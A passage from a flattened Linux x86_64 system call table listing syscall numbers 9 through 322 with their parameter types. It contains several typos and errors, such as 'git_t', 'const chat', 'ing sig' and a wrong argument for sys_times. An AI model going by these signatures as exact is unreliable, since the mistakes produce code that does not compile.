unsigned int origin | 12 | | 9 | sys_mmap | unsigned long addr | unsigned long len | unsigned long prot | unsigned long flags | unsigned long fd | unsigned long off 13 | | 10 | sys_mprotect | unsigned long start | size_t len | unsigned long prot | 14 | | 11 | sys_munmap | unsigned long addr | size_t len | 15 | | 12 | sys_brk | unsigned long brk | 16 | | 13 | sys_rt_sigaction | int sig | const struct sigaction *act | struct sigaction *oact | size_t sigsetsize | 17 | | 14 | sys_rt_sigprocmask | int how | sigset_t *nset | sigset_t *oset | size_t sigsetsize | 18 | | 15 | sys_rt_sigreturn | unsigned long __unused | 19 | | 16 | sys_ioctl | unsigned int fd | unsigned int cmd | unsigned long arg | 20 | | 17 | sys_pread64 | unsigned long fd | char *buf | size_t count | loff_t pos | 21 | | 18 | sys_pwrite64 | unsigned int fd | const char *buf | size_t count | loff_t pos | 22 | | 19 | sys_readv | unsigned long fd | const struct iovec *vec | unsigned long vlen | 23 | | 20 | sys_writev | unsigned long fd | const struct iovec *vec | unsigned long vlen | 24 | | 21 | sys_access | const char *filename | int mode | 25 | | 22 | sys_pipe | int *filedes | 26 | | 23 | sys_select | int n | fd_set *inp | fd_set *outp | fd_set*exp | struct timeval *tvp | 27 | | 24 | sys_sched_yield | 28 | | 25 | sys_mremap | unsigned long addr | unsigned long old_len | unsigned long new_len | unsigned long flags | unsigned long new_addr | 29 | | 26 | sys_msync | unsigned long start | size_t len | int flags | 30 | | 27 | sys_mincore | unsigned long start | size_t len | unsigned char *vec | 31 | | 28 | sys_madvise | unsigned long start | size_t len_in | int behavior | 32 | | 29 | sys_shmget | key_t key | size_t size | int shmflg | 33 | | 30 | sys_shmat | int shmid | char *shmaddr | int shmflg | 34 | | 31 | sys_shmctl | int shmid | int cmd | struct shmid_ds *buf | 35 | | 32 | sys_dup | unsigned int fildes | 36 | | 33 | sys_dup2 | unsigned int oldfd | unsigned int newfd | 37 | | 34 | sys_pause | 38 | | 35 | sys_nanosleep | struct timespec *rqtp | struct timespec *rmtp | 39 | | 36 | sys_getitimer | int which | struct itimerval *value | 40 | | 37 | sys_alarm | unsigned int seconds | 41 | | 38 | sys_setitimer | int which | struct itimerval *value | struct itimerval *ovalue | 42 | | 39 | sys_getpid | 43 | | 40 | sys_sendfile | int out_fd | int in_fd | off_t *offset | size_t count | 44 | | 41 | sys_socket | int family | int type | int protocol | 45 | | 42 | sys_connect | int fd | struct sockaddr *uservaddr | int addrlen | 46 | | 43 | sys_accept | int fd | struct sockaddr *upeer_sockaddr | int *upeer_addrlen | 47 | | 44 | sys_sendto | int fd | void *buff | size_t len | unsigned flags | struct sockaddr *addr | int addr_len 48 | | 45 | sys_recvfrom | int fd | void *ubuf | size_t size | unsigned flags | struct sockaddr *addr | int *addr_len 49 | | 46 | sys_sendmsg | int fd | struct msghdr *msg | unsigned flags | 50 | | 47 | sys_recvmsg | int fd | struct msghdr *msg | unsigned int flags | 51 | | 48 | sys_shutdown | int fd | int how | 52 | | 49 | sys_bind | int fd | struct sokaddr *umyaddr | int addrlen | 53 | | 50 | sys_listen | int fd | int backlog | 54 | | 51 | sys_getsockname | int fd | struct sockaddr *usockaddr | int *usockaddr_len | 55 | | 52 | sys_getpeername | int fd | struct sockaddr *usockaddr | int *usockaddr_len | 56 | | 53 | sys_socketpair | int family | int type | int protocol | int *usockvec | 57 | | 54 | sys_setsockopt | int fd | int level | int optname | char *optval | int optlen | 58 | | 55 | sys_getsockopt | int fd | int level | int optname | char *optval | int *optlen | 59 | | 56 | sys_clone | unsigned long clone_flags | unsigned long newsp | void *parent_tid | void *child_tid | 60 | | 57 | sys_fork | 61 | | 58 | sys_vfork | 62 | | 59 | sys_execve | const char *filename | const char *const argv[] | const char *const envp[] | 63 | | 60 | sys_exit | int error_code | 64 | | 61 | sys_wait4 | pid_t upid | int *stat_addr | int options | struct rusage *ru | 65 | | 62 | sys_kill | pid_t pid | int sig | 66 | | 63 | sys_uname | struct old_utsname *name | 67 | | 64 | sys_semget | key_t key | int nsems | int semflg | 68 | | 65 | sys_semop | int semid | struct sembuf *tsops | unsigned nsops | 69 | | 66 | sys_semctl | int semid | int semnum | int cmd | union semun arg | 70 | | 67 | sys_shmdt | char *shmaddr | 71 | | 68 | sys_msgget | key_t key | int msgflg | 72 | | 69 | sys_msgsnd | int msqid | struct msgbuf *msgp | size_t msgsz | int msgflg | 73 | | 70 | sys_msgrcv | int msqid | struct msgbuf *msgp | size_t msgsz | long msgtyp | int msgflg | 74 | | 71 | sys_msgctl | int msqid | int cmd | struct msqid_ds *buf | 75 | | 72 | sys_fcntl | unsigned int fd | unsigned int cmd | unsigned long arg | 76 | | 73 | sys_flock | unsigned int fd | unsigned int cmd | 77 | | 74 | sys_fsync | unsigned int fd | 78 | | 75 | sys_fdatasync | unsigned int fd | 79 | | 76 | sys_truncate | const char *path | long length | 80 | | 77 | sys_ftruncate | unsigned int fd | unsigned long length | 81 | | 78 | sys_getdents | unsigned int fd | struct linux_dirent *dirent | unsigned int count | 82 | | 79 | sys_getcwd | char *buf | unsigned long size | 83 | | 80 | sys_chdir | const char *filename | 84 | | 81 | sys_fchdir | unsigned int fd | 85 | | 82 | sys_rename | const char *oldname | const char *newname | 86 | | 83 | sys_mkdir | const char *pathname | int mode | 87 | | 84 | sys_rmdir | const char *pathname | 88 | | 85 | sys_creat | const char *pathname | int mode | 89 | | 86 | sys_link | const char *oldname | const char *newname | 90 | | 87 | sys_unlink | const char *pathname | 91 | | 88 | sys_symlink | const char *oldname | const char *newname | 92 | | 89 | sys_readlink | const char *path | char *buf | int bufsiz | 93 | | 90 | sys_chmod | const char *filename | mode_t mode | 94 | | 91 | sys_fchmod | unsigned int fd | mode_t mode | 95 | | 92 | sys_chown | const char *filename | uid_t user | git_t group | 96 | | 93 | sys_fchown | unsigned int fd | uid_t user | git_t group | 97 | | 94 | sys_lchown | const char *filename | uid_t user | git_t group | 98 | | 95 | sys_umask | int mask | 99 | | 96 | sys_gettimeofday | struct timeval *tv | struct timezone *tz | 100 | | 97 | sys_getrlimit | unsigned int resource | struct rlimit *rlim | 101 | | 98 | sys_getrusage | int who | struct rusage *ru | 102 | | 99 | sys_sysinfo | struct sysinfo *info | 103 | | 100 | sys_times | struct sysinfo *info | 104 | | 101 | sys_ptrace | long request | long pid | unsigned long addr | unsigned long data | 105 | | 102 | sys_getuid | 106 | | 103 | sys_syslog | int type | char *buf | int len | 107 | | 104 | sys_getgid | 108 | | 105 | sys_setuid | uid_t uid | 109 | | 106 | sys_setgid | git_t gid | 110 | | 107 | sys_geteuid | 111 | | 108 | sys_getegid | 112 | | 109 | sys_setpgid | pid_t pid | pid_t pgid | 113 | | 110 | sys_getppid | 114 | | 111 | sys_getpgrp | 115 | | 112 | sys_setsid | 116 | | 113 | sys_setreuid | uid_t ruid | uid_t euid | 117 | | 114 | sys_setregid | git_t rgid | gid_t egid | 118 | | 115 | sys_getgroups | int gidsetsize | gid_t *grouplist | 119 | | 116 | sys_setgroups | int gidsetsize | gid_t *grouplist | 120 | | 117 | sys_setresuid | uid_t *ruid | uid_t *euid | uid_t *suid | 121 | | 118 | sys_getresuid | uid_t *ruid | uid_t *euid | uid_t *suid | 122 | | 119 | sys_setresgid | gid_t rgid | gid_t egid | gid_t sgid | 123 | | 120 | sys_getresgid | git_t *rgid | git_t *egid | git_t *sgid | 124 | | 121 | sys_getpgid | pid_t pid | 125 | | 122 | sys_setfsuid | uid_t uid | 126 | | 123 | sys_setfsgid | gid_t gid | 127 | | 124 | sys_getsid | pid_t pid | 128 | | 125 | sys_capget | cap_user_header_t header | cap_user_data_t dataptr | 129 | | 126 | sys_capset | cap_user_header_t header | const cap_user_data_t data | 130 | | 127 | sys_rt_sigpending | sigset_t *set | size_t sigsetsize | 131 | | 128 | sys_rt_sigtimedwait | const sigset_t *uthese | siginfo_t *uinfo | const struct timespec *uts | size_t sigsetsize | 132 | | 129 | sys_rt_sigqueueinfo | pid_t pid | int sig | siginfo_t *uinfo | 133 | | 130 | sys_rt_sigsuspend | sigset_t *unewset | size_t sigsetsize | 134 | | 131 | sys_sigaltstack | const stack_t *uss | stack_t *uoss | 135 | | 132 | sys_utime | char *filename | struct utimbuf *times | 136 | | 133 | sys_mknod | const char *filename | int mode | unsigned dev | 137 | | 134 | sys_uselib | NOT IMPLEMENTED | 138 | | 135 | sys_personality | unsigned int personality | 139 | | 136 | sys_ustat | unsigned dev | struct ustat *ubuf | 140 | | 137 | sys_statfs | const char *pathname | struct statfs *buf | 141 | | 138 | sys_fstatfs | unsigned int fd | struct statfs *buf | 142 | | 139 | sys_sysfs | int option | unsigned long arg1 | unsigned long arg2 | 143 | | 140 | sys_getpriority | int which | int who | 144 | | 141 | sys_setpriority | int which | int who | int niceval | 145 | | 142 | sys_sched_setparam | pid_t pid | struct sched_param *param | 146 | | 143 | sys_sched_getparam | pid_t pid | struct sched_param *param | 147 | | 144 | sys_sched_setscheduler | pid_t pid | int policy | struct sched_param *param | 148 | | 145 | sys_sched_getscheduler | pid_t pid | 149 | | 146 | sys_sched_get_priority_max | int policy | 150 | | 147 | sys_sched_get_priority_min | int policy | 151 | | 148 | sys_sched_rr_get_interval | pid_t pid | struct timespec *interval | 152 | | 149 | sys_mlock | unsigned long start | size_t len | 153 | | 150 | sys_munlock | unsigned long start | size_t len | 154 | | 151 | sys_mlockall | int flags | 155 | | 152 | sys_munlockall | 156 | | 153 | sys_vhangup | 157 | | 154 | sys_modify_ldt | int func | void *ptr | unsigned long bytecount | 158 | | 155 | sys_pivot_root | const char *new_root | const char *put_old | 159 | | 156 | sys__sysctl | struct __sysctl_args *args | 160 | | 157 | sys_prctl | int option | unsigned long arg2 | unsigned long arg3 | unsigned long arg4 | unsigned long arg5 161 | | 158 | sys_arch_prctl | struct task_struct *task | int code | unsigned long *addr | 162 | | 159 | sys_adjtimex | struct timex *txc_p | 163 | | 160 | sys_setrlimit | unsigned int resource | struct rlimit *rlim | 164 | | 161 | sys_chroot | const char *filename | 165 | | 162 | sys_sync | 166 | | 163 | sys_acct | const char *name | 167 | | 164 | sys_settimeofday | struct timeval *tv | struct timezone *tz | 168 | | 165 | sys_mount | char *dev_name | char *dir_name | char *type | unsigned long flags | void *data | 169 | | 166 | sys_umount2 | const char *target | int flags | 170 | | 167 | sys_swapon | const char *specialfile | int swap_flags | 171 | | 168 | sys_swapoff | const char *specialfile | 172 | | 169 | sys_reboot | int magic1 | int magic2 | unsigned int cmd | void *arg | 173 | | 170 | sys_sethostname | char *name | int len | 174 | | 171 | sys_setdomainname | char *name | int len | 175 | | 172 | sys_iopl | unsigned int level | struct pt_regs *regs | 176 | | 173 | sys_ioperm | unsigned long from | unsigned long num | int turn_on | 177 | | 174 | sys_create_module | REMOVED IN Linux 2.6 | 178 | | 175 | sys_init_module | void *umod | unsigned long len | const char *uargs | 179 | | 176 | sys_delete_module | const chat *name_user | unsigned int flags | 180 | | 177 | sys_get_kernel_syms | REMOVED IN Linux 2.6 | 181 | | 178 | sys_query_module | REMOVED IN Linux 2.6 | 182 | | 179 | sys_quotactl | unsigned int cmd | const char *special | qid_t id | void *addr | 183 | | 180 | sys_nfsservctl | NOT IMPLEMENTED | 184 | | 181 | sys_getpmsg | NOT IMPLEMENTED | 185 | | 182 | sys_putpmsg | NOT IMPLEMENTED | 186 | | 183 | sys_afs_syscall | NOT IMPLEMENTED | 187 | | 184 | sys_tuxcall | NOT IMPLEMENTED | 188 | | 185 | sys_security | NOT IMPLEMENTED | 189 | | 186 | sys_gettid | 190 | | 187 | sys_readahead | int fd | loff_t offset | size_t count | 191 | | 188 | sys_setxattr | const char *pathname | const char *name | const void *value | size_t size | int flags | 192 | | 189 | sys_lsetxattr | const char *pathname | const char *name | const void *value | size_t size | int flags | 193 | | 190 | sys_fsetxattr | int fd | const char *name | const void *value | size_t size | int flags | 194 | | 191 | sys_getxattr | const char *pathname | const char *name | void *value | size_t size | 195 | | 192 | sys_lgetxattr | const char *pathname | const char *name | void *value | size_t size | 196 | | 193 | sys_fgetxattr | int fd | const har *name | void *value | size_t size | 197 | | 194 | sys_listxattr | const char *pathname | char *list | size_t size | 198 | | 195 | sys_llistxattr | const char *pathname | char *list | size_t size | 199 | | 196 | sys_flistxattr | int fd | char *list | size_t size | 200 | | 197 | sys_removexattr | const char *pathname | const char *name | 201 | | 198 | sys_lremovexattr | const char *pathname | const char *name | 202 | | 199 | sys_fremovexattr | int fd | const char *name | 203 | | 200 | sys_tkill | pid_t pid | ing sig | 204 | | 201 | sys_time | time_t *tloc | 205 | | 202 | sys_futex | u32 *uaddr | int op | u32 val | struct timespec *utime | u32 *uaddr2 | u32 val3 206 | | 203 | sys_sched_setaffinity | pid_t pid | unsigned int len | unsigned long *user_mask_ptr | 207 | | 204 | sys_sched_getaffinity | pid_t pid | unsigned int len | unsigned long *user_mask_ptr | 208 | | 205 | sys_set_thread_area | NOT IMPLEMENTED. Use arch_prctl | 209 | | 206 | sys_io_setup | unsigned nr_events | aio_context_t *ctxp | 210 | | 207 | sys_io_destroy | aio_context_t ctx | 211 | | 208 | sys_io_getevents | aio_context_t ctx_id | long min_nr | long nr | struct io_event *events | 212 | | 209 | sys_io_submit | aio_context_t ctx_id | long nr | struct iocb **iocbpp | 213 | | 210 | sys_io_cancel | aio_context_t ctx_id | struct iocb *iocb | struct io_event *result | 214 | | 211 | sys_get_thread_area | NOT IMPLEMENTED. Use arch_prctl | 215 | | 212 | sys_lookup_dcookie | u64 cookie64 | long buf | long len | 216 | | 213 | sys_epoll_create | int size | 217 | | 214 | sys_epoll_ctl_old | NOT IMPLEMENTED | 218 | | 215 | sys_epoll_wait_old | NOT IMPLEMENTED | 219 | | 216 | sys_remap_file_pages | unsigned long start | unsigned long size | unsigned long prot | unsigned long pgoff | unsigned long flags | 220 | | 217 | sys_getdents64 | unsigned int fd | struct linux_dirent64 *dirent | unsigned int count | 221 | | 218 | sys_set_tid_address | int *tidptr | 222 | | 219 | sys_restart_syscall | 223 | | 220 | sys_semtimedop | int semid | struct sembuf *tsops | unsigned nsops | const struct timespec *timeout | 224 | | 221 | sys_fadvise64 | int fd | loff_t offset | size_t len | int advice | 225 | | 222 | sys_timer_create | const clockid_t which_clock | struct sigevent *timer_event_spec | timer_t *created_timer_id | 226 | | 223 | sys_timer_settime | timer_t timer_id | int flags | const struct itimerspec *new_setting | struct itimerspec *old_setting | 227 | | 224 | sys_timer_gettime | timer_t timer_id | struct itimerspec *setting | 228 | | 225 | sys_timer_getoverrun | timer_t timer_id | 229 | | 226 | sys_timer_delete | timer_t timer_id | 230 | | 227 | sys_clock_settime | const clockid_t which_clock | const struct timespec *tp | 231 | | 228 | sys_clock_gettime | const clockid_t which_clock | struct timespec *tp | 232 | | 229 | sys_clock_getres | const clockid_t which_clock | struct timespec *tp | 233 | | 230 | sys_clock_nanosleep | const clockid_t which_clock | int flags | const struct timespec *rqtp | struct timespec *rmtp | 234 | | 231 | sys_exit_group | int error_code | 235 | | 232 | sys_epoll_wait | int epfd | struct epoll_event *events | int maxevents | int timeout | 236 | | 233 | sys_epoll_ctl | int epfd | int op | int fd | struct epoll_event *event | 237 | | 234 | sys_tgkill | pid_t tgid | pid_t pid | int sig | 238 | | 235 | sys_utimes | char *filename | struct timeval *utimes | 239 | | 236 | sys_vserver | NOT IMPLEMENTED | 240 | | 237 | sys_mbind | unsigned long start | unsigned long len | unsigned long mode | unsigned long *nmask | unsigned long maxnode | unsigned flags 241 | | 238 | sys_set_mempolicy | int mode | unsigned long *nmask | unsigned long maxnode | 242 | | 239 | sys_get_mempolicy | int *policy | unsigned long *nmask | unsigned long maxnode | unsigned long addr | unsigned long flags | 243 | | 240 | sys_mq_open | const char *u_name | int oflag | mode_t mode | struct mq_attr *u_attr | 244 | | 241 | sys_mq_unlink | const char *u_name | 245 | | 242 | sys_mq_timedsend | mqd_t mqdes | const char *u_msg_ptr | size_t msg_len | unsigned int msg_prio | const stuct timespec *u_abs_timeout | 246 | | 243 | sys_mq_timedreceive | mqd_t mqdes | char *u_msg_ptr | size_t msg_len | unsigned int *u_msg_prio | const struct timespec *u_abs_timeout | 247 | | 244 | sys_mq_notify | mqd_t mqdes | const struct sigevent *u_notification | 248 | | 245 | sys_mq_getsetattr | mqd_t mqdes | const struct mq_attr *u_mqstat | struct mq_attr *u_omqstat | 249 | | 246 | sys_kexec_load | unsigned long entry | unsigned long nr_segments | struct kexec_segment *segments | unsigned long flags | 250 | | 247 | sys_waitid | int which | pid_t upid | struct siginfo *infop | int options | struct rusage *ru | 251 | | 248 | sys_add_key | const char *_type | const char *_description | const void *_payload | size_t plen | 252 | | 249 | sys_request_key | const char *_type | const char *_description | const char *_callout_info | key_serial_t destringid | 253 | | 250 | sys_keyctl | int option | unsigned long arg2 | unsigned long arg3 | unsigned long arg4 | unsigned long arg5 | 254 | | 251 | sys_ioprio_set | int which | int who | int ioprio | 255 | | 252 | sys_ioprio_get | int which | int who | 256 | | 253 | sys_inotify_init | 257 | | 254 | sys_inotify_add_watch | int fd | const char *pathname | u32 mask | 258 | | 255 | sys_inotify_rm_watch | int fd | __s32 wd | 259 | | 256 | sys_migrate_pages | pid_t pid | unsigned long maxnode | const unsigned long *old_nodes | const unsigned long *new_nodes | 260 | | 257 | sys_openat | int dfd | const char *filename | int flags | int mode | 261 | | 258 | sys_mkdirat | int dfd | const char *pathname | int mode | 262 | | 259 | sys_mknodat | int dfd | const char *filename | int mode | unsigned dev | 263 | | 260 | sys_fchownat | int dfd | const char *filename | uid_t user | gid_t group | int flag | 264 | | 261 | sys_futimesat | int dfd | const char *filename | struct timeval *utimes | 265 | | 262 | sys_newfstatat | int dfd | const char *filename | struct stat *statbuf | int flag | 266 | | 263 | sys_unlinkat | int dfd | const char *pathname | int flag | 267 | | 264 | sys_renameat | int oldfd | const char *oldname | int newfd | const char *newname | 268 | | 265 | sys_linkat | int oldfd | const char *oldname | int newfd | const char *newname | int flags | 269 | | 266 | sys_symlinkat | const char *oldname | int newfd | const char *newname | 270 | | 267 | sys_readlinkat | int dfd | const char *pathname | char *buf | int bufsiz | 271 | | 268 | sys_fchmodat | int dfd | const char *filename | mode_t mode | 272 | | 269 | sys_faccessat | int dfd | const char *filename | int mode | 273 | | 270 | sys_pselect6 | int n | fd_set *inp | fd_set *outp | fd_set *exp | struct timespec *tsp | void *sig 274 | | 271 | sys_ppoll | struct pollfd *ufds | unsigned int nfds | struct timespec *tsp | const sigset_t *sigmask | size_t sigsetsize | 275 | | 272 | sys_unshare | unsigned long unshare_flags | 276 | | 273 | sys_set_robust_list | struct robust_list_head *head | size_t len | 277 | | 274 | sys_get_robust_list | int pid | struct robust_list_head **head_ptr | size_t *len_ptr | 278 | | 275 | sys_splice | int fd_in | loff_t *off_in | int fd_out | loff_t *off_out | size_t len | unsigned int flags 279 | | 276 | sys_tee | int fdin | int fdout | size_t len | unsigned int flags | 280 | | 277 | sys_sync_file_range | long fd | loff_t offset | loff_t bytes | long flags | 281 | | 278 | sys_vmsplice | int fd | const struct iovec *iov | unsigned long nr_segs | unsigned int flags | 282 | | 279 | sys_move_pages | pid_t pid | unsigned long nr_pages | const void **pages | const int *nodes | int *status | int flags 283 | | 280 | sys_utimensat | int dfd | const char *filename | struct timespec *utimes | int flags | 284 | | 281 | sys_epoll_pwait | int epfd | struct epoll_event *events | int maxevents | int timeout | const sigset_t *sigmask | size_t sigsetsize 285 | | 282 | sys_signalfd | int ufd | sigset_t *user_mask | size_t sizemask | 286 | | 283 | sys_timerfd_create | int clockid | int flags | 287 | | 284 | sys_eventfd | unsigned int count | 288 | | 285 | sys_fallocate | long fd | long mode | loff_t offset | loff_t len | 289 | | 286 | sys_timerfd_settime | int ufd | int flags | const struct itimerspec *utmr | struct itimerspec *otmr | 290 | | 287 | sys_timerfd_gettime | int ufd | struct itimerspec *otmr | 291 | | 288 | sys_accept4 | int fd | struct sockaddr *upeer_sockaddr | int *upeer_addrlen | int flags | 292 | | 289 | sys_signalfd4 | int ufd | sigset_t *user_mask | size_t sizemask | int flags | 293 | | 290 | sys_eventfd2 | unsigned int count | int flags | 294 | | 291 | sys_epoll_create1 | int flags | 295 | | 292 | sys_dup3 | unsigned int oldfd | unsigned int newfd | int flags | 296 | | 293 | sys_pipe2 | int *filedes | int flags | 297 | | 294 | sys_inotify_init1 | int flags | 298 | | 295 | sys_preadv | unsigned long fd | const struct iovec *vec | unsigned long vlen | unsigned long pos_l | unsigned long pos_h | 299 | | 296 | sys_pwritev | unsigned long fd | const struct iovec *vec | unsigned long vlen | unsigned long pos_l | unsigned long pos_h | 300 | | 297 | sys_rt_tgsigqueueinfo | pid_t tgid | pid_t pid | int sig | siginfo_t *uinfo | 301 | | 298 | sys_perf_event_open | struct perf_event_attr *attr_uptr | pid_t pid | int cpu | int group_fd | unsigned long flags | 302 | | 299 | sys_recvmmsg | int fd | struct msghdr *mmsg | unsigned int vlen | unsigned int flags | struct timespec *timeout | 303 | | 300 | sys_fanotify_init | unsigned int flags | unsigned int event_f_flags | 304 | | 301 | sys_fanotify_mark | long fanotify_fd | long flags | __u64 mask | long dfd | long pathname | 305 | | 302 | sys_prlimit64 | pid_t pid | unsigned int resource | const struct rlimit64 *new_rlim | struct rlimit64 *old_rlim | 306 | | 303 | sys_name_to_handle_at | int dfd | const char *name | struct file_handle *handle | int *mnt_id | int flag | 307 | | 304 | sys_open_by_handle_at | int dfd | const char *name | struct file_handle *handle | int *mnt_id | int flags | 308 | | 305 | sys_clock_adjtime | clockid_t which_clock | struct timex *tx | 309 | | 306 | sys_syncfs | int fd | 310 | | 307 | sys_sendmmsg | int fd | struct mmsghdr *mmsg | unsigned int vlen | unsigned int flags | 311 | | 308 | sys_setns | int fd | int nstype | 312 | | 309 | sys_getcpu | unsigned *cpup | unsigned *nodep | struct getcpu_cache *unused | 313 | | 310 | sys_process_vm_readv | pid_t pid | const struct iovec *lvec | unsigned long liovcnt | const struct iovec *rvec | unsigned long riovcnt | unsigned long flags 314 | | 311 | sys_process_vm_writev | pid_t pid | const struct iovec *lvec | unsigned long liovcnt | const struct iovcc *rvec | unsigned long riovcnt | unsigned long flags 315 | | 312 | sys_kcmp | pid_t pid1 | pid_t pid2 | int type | unsigned long idx1 | unsigned long idx2 | 316 | | 313 | sys_finit_module | int fd | const char __user *uargs | int flags | 317 | | 314 | sys_sched_setattr | pid_t pid | struct sched_attr __user *attr | unsigned int flags | 318 | | 315 | sys_sched_getattr | pid_t pid | struct sched_attr __user *attr | unsigned int size | unsigned int flags | 319 | | 316 | sys_renameat2 | int olddfd | const char __user *oldname | int newdfd, const char __user *newname | unsigned int flags | 320 | | 317 | sys_seccomp | unsigned int op | unsigned int flags | const char __user *uargs | 321 | | 318 | sys_getrandom | char __user *buf | size_t count | unsigned int flags | 322 | | 319 | sys_memfd_create | const char __user *uname_ptr | unsigned int flags | 323 | | 320 | sys_kexec_file_load | int kernel_fd | int initrd_fd | unsigned long cmdline_len | const char __user *cmdline_ptr | unsigned long flags | 324 | | 321 | sys_bpf | int cmd | union bpf_attr *attr | unsigned int size | 325 | | 322 | stub_execveat | int dfd | const char __user *filename | const char __user *const __user *argv | const char __user *const __user *envp | int flags | 326 | --------------------------------------------------------------------------------